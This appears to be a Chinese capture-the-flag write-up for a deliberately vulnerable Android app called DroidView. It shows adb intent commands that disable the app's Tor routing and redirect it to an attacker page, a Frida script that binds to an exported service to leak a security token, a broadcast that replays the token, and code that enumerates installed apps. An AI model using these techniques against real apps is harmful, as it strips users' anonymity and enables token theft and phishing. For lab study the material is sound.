题目要求漏洞利用程序应禁用 Tor 路由,然后将用户重定向到一个由攻击者控制的页面。分析代码的时候发现有两种方法。
解法一:
当action为ACTION_TOGGLE_SECURITY时,MainActivity的onNewIntent会调用handleSecurityToggle
handleSecurityToggle会调用setSecurityEnabled
当参数为false的时候,setSecurityEnabled会调用unregisterReceiver注销tor状态监听器
看看torStatusReceiver的定义
所以可以如下命令禁用 Tor 路由:
adb shell am start -a com.eightksec.droidview.TOGGLE_SECURITY -n com.eightksec.droidview/.MainActivity --ez enable_security false --activity-single-top
需要注意的是,要添加 --activity-single-top参数触发onNewIntent函数
接着将用户重定向到一个由攻击者控制的页面
adb shell am start -a com.eightksec.droidview.LOAD_URL -n com.eightksec.droidview/.MainActivity --es url "httpx://www.xxx.com" --activity-single-top
解法二:
在AndroidManifest.xml中可以到导出了一个com.eightksec.droidview.TokenService服务,
TokenService提供了返回当前token的方法getSecurityToken
所以可以绑定到 TokenService 获取token。
这里尝试通过frida动态绑定到TokenService
console.log("Script loaded. Waiting for MainActivity to be created...");
Java.perform(function() {
let logicHasRun = false;
const MainActivity = Java.use("com.eightksec.droidview.MainActivity");
MainActivity.onCreate.overload('android.os.Bundle').implementation = function(savedInstanceState) {
console.log("[+] MainActivity.onCreate() hooked.");
this.onCreate(savedInstanceState);
if (logicHasRun) {
return;
}
logicHasRun = true;
const context = this.getApplicationContext();
console.log("[+] Successfully got context: " + context);
const intent = Java.use("android.content.Intent").$new();
intent.setClassName("com.eightksec.droidview", "com.eightksec.droidview.TokenService");
const ServiceConnection = Java.use("android.content.ServiceConnection");
const myServiceConnection = Java.registerClass({
name: "com.eightksec.droidview.MyFridaConnection",
implements: [ServiceConnection],
methods: {
onServiceConnected: function(name, service) {
try {
const ITokenService = Java.use("com.eightksec.droidview.ITokenService$Stub");
const myService = ITokenService.asInterface(service);
const leakedToken = myService.getSecurityToken();
console.log("\n[>>>] SUCCESS! Leaked Token: " + leakedToken + "\n");
context.unbindService(this);
console.log("[+] Service unbound.");
} catch (e) {
console.error("Error in onServiceConnected: " + e.stack);
}
},
onServiceDisconnected: function(name) {
console.log("Service disconnected: " + name.flattenToString());
},
onNullBinding: function(name) {
console.log("onNullBinding called for component: " + name.flattenToString());
},
onBindingDied: function(name) {
console.log("onBindingDied called for component: " + name.flattenToString());
}
}
}).$new();
console.log("[*] Binding to TokenService...");
const result = context.bindService(intent, myServiceConnection, context.BIND_AUTO_CREATE.value);
console.log("[*] bindService() called, result: " + result);
};
});

MainActivity 中的 BroadcastReceiver 在接收到action为 TOGGLE_SECURITY 的广播时,会使用validateSecurityToken对收到的 Token 进行验证。
当token正确时会调用方法一中提到的setSecurityEnabled,从而禁用tor路由
发送带token的广播 :
adb shell am broadcast -a com.eightksec.droidview.TOGGLE_SECURITY -p com.eightksec.droidview --ez enable_security false --es security_token "E8v4x8C5XbdfaQ3mxM8qLGNU7D8tCvbXFm0JLZgZKmSpkBqyJSusi+O/EE+Ab1NAiohnGM+qLzZNjYiPuPnmwg=="
这里需要注意加-p
参数指定包名
题目还提到了尝试获取设备上安装的应用程序的完整列表,安装的漏洞利用app获取应用程序列表的关键代码为:
PackageManager pm = getPackageManager();
List<ApplicationInfo> apps = pm.getInstalledApplications(0);
评论
发表评论